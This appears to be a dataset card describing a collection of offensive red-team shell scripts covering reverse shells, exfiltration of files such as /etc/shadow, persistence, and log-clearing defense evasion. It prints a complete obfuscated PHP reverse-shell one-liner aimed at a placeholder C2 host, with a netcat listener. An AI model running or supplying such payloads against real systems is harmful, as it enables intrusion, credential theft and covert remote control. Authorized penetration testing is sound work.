license: mit
language:

• en
  tags:
• cybersecurity
  pretty_name: sunny thakur
  size_categories:
• 1K<n<10K

Red Team Operations Shell Script Dataset

Overview

This dataset, identified as shell_script_dataset.jsonl, is a curated collection of 1000 shell scripts designed for Red Team Operations (RTO).

It encompasses tactics, techniques, and procedures (TTPs) for offensive cybersecurity tasks, including reconnaissance, reverse shells, data exfiltration, persistence mechanisms, and defense evasion.

Each entry is structured to provide actionable, stealth-oriented scripts for advanced penetration testing, covert operations, and adversarial simulation in controlled environments.

The dataset is intended for cybersecurity professionals, Red Team operators, and researchers conducting offensive security assessments. All scripts must be used ethically and legally, in compliance with applicable laws and regulations, and only within authorized testing environments.

Dataset Structure

The dataset is formatted in JSON Lines (.jsonl), with each line representing a single script entry. The structure of each entry includes:

id: Unique identifier for the script (e.g., RTO-001 to RTO-1000).
description: Brief description of the script's purpose.
script: The shell command or script, often incorporating encoding (e.g., base64, hex), compression (e.g., gzip), or encryption (e.g., AES-256-CBC) for stealth and obfuscation.
category: The operational category, such as recon, reverse_shell, exfiltration, persistence, or defense_evasion.
usage: A concise explanation of the script’s application in Red Team scenarios.

Example Entry

{"id": "RTO-901", "description": "Enumerate kernel process memory allocation stats", "script": "cat /proc/self/statm | awk '{print $5}'", "category": "recon", "usage": "Analyze text segment size for process profiling"}

Categories

The scripts are organized into the following categories:

Recon: Scripts for gathering system and network information, such as process memory stats, file descriptors, and network interface details.
Reverse Shell: Commands to establish covert communication channels to a command-and-control (C2) server using tools like netcat, socat, PHP, Python, or Ruby.
Exfiltration: Techniques for extracting sensitive data (e.g., /etc/shadow) via protocols like HTTP, SCP, or rsync, often with encoding, compression, or encryption.
Persistence: Methods to maintain access, including cron jobs, systemd services/timers/sockets, shell aliases, and profile modifications.
Defense Evasion: Scripts to disable auditing, clear logs, or bypass memory and process tracking mechanisms.

Usage Guidelines

Ethical Use: These scripts are intended for authorized penetration testing and Red Team exercises. Unauthorized use is strictly prohibited.
Environment: Test scripts in isolated, controlled environments (e.g., virtual machines or lab setups) to avoid unintended consequences.
Customization: Replace placeholder values (e.g., 10.10.10.10:4444, secret for encryption keys, or [email protected]) with environment-specific parameters.
Dependencies: Some scripts require tools like jq, yq, xxd, openssl, socat, or curl. Ensure these are installed in the target environment.
Permissions: Many scripts require elevated privileges (e.g., root) for accessing system files or modifying configurations like /etc/cron.d.

Installation and Setup

Download: Obtain the shell_script_dataset.jsonl file from the repository.
Parse: Use a JSON Lines parser (e.g., jq or custom scripts in Python) to extract and process entries.
jq -c . red_team_scripting_dataset.jsonl

Execution: Copy the desired script from the script field and execute it in a compatible shell environment (e.g., Bash). Ensure dependencies are met.
Validation: Test scripts in a sandboxed environment to verify functionality and avoid unintended system modifications.

Security Considerations

Obfuscation: Scripts leverage encoding (base64, hex), compression (gzip), and encryption (AES-256-CBC) to evade detection. Be aware of anti-virus or EDR solutions that may flag these activities.
Logging: Defense evasion scripts clear specific logs (e.g., /var/log/auditd_*). Ensure compliance with organizational policies when clearing logs.
Network: Reverse shells and exfiltration scripts communicate with external servers. Use secure, controlled C2 infrastructure to prevent data leakage.
Encryption: Scripts using openssl for encryption require a decryption key (secret in examples). Securely manage keys to prevent unauthorized access.

Example Use Case

To establish a reverse shell using a base64-encoded hex payload in a PHP environment:

Identify the script (e.g., RTO-907).
Replace 10.10.10.10:4444 with your C2 server’s IP and port.
Execute the script in a PHP-capable environment:php -r '$sock=fsockopen("YOUR_IP",YOUR_PORT);$cmd=shell_exec("echo 62617368202d69203e26202f6465762f7463702fYOUR_IP/YOUR_PORT 0>&1 | base64 -d | xxd -r -p");exec("$cmd <&3 >&3 2>&3");'


Ensure a listener (e.g., nc -lvnp YOUR_PORT) is running on the C2 server.

Contributing

Contributions are welcome to enhance the dataset with additional scripts, categories, or obfuscation techniques. Submit pull requests with:

New script entries in JSON Lines format.
Clear descriptions and usage instructions.
Tested scripts with documented dependencies.

Please adhere to ethical guidelines and ensure scripts are designed for authorized testing purposes only.

Disclaimer

This dataset is provided for educational and authorized testing purposes only. The authors and contributors are not responsible for any misuse, damage, or illegal activities resulting from the use of these scripts.

Always obtain explicit permission before conducting security assessments.

License

This dataset is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or feedback, contact the project maintainers via the repository’s issue tracker or reach out to the [email protected].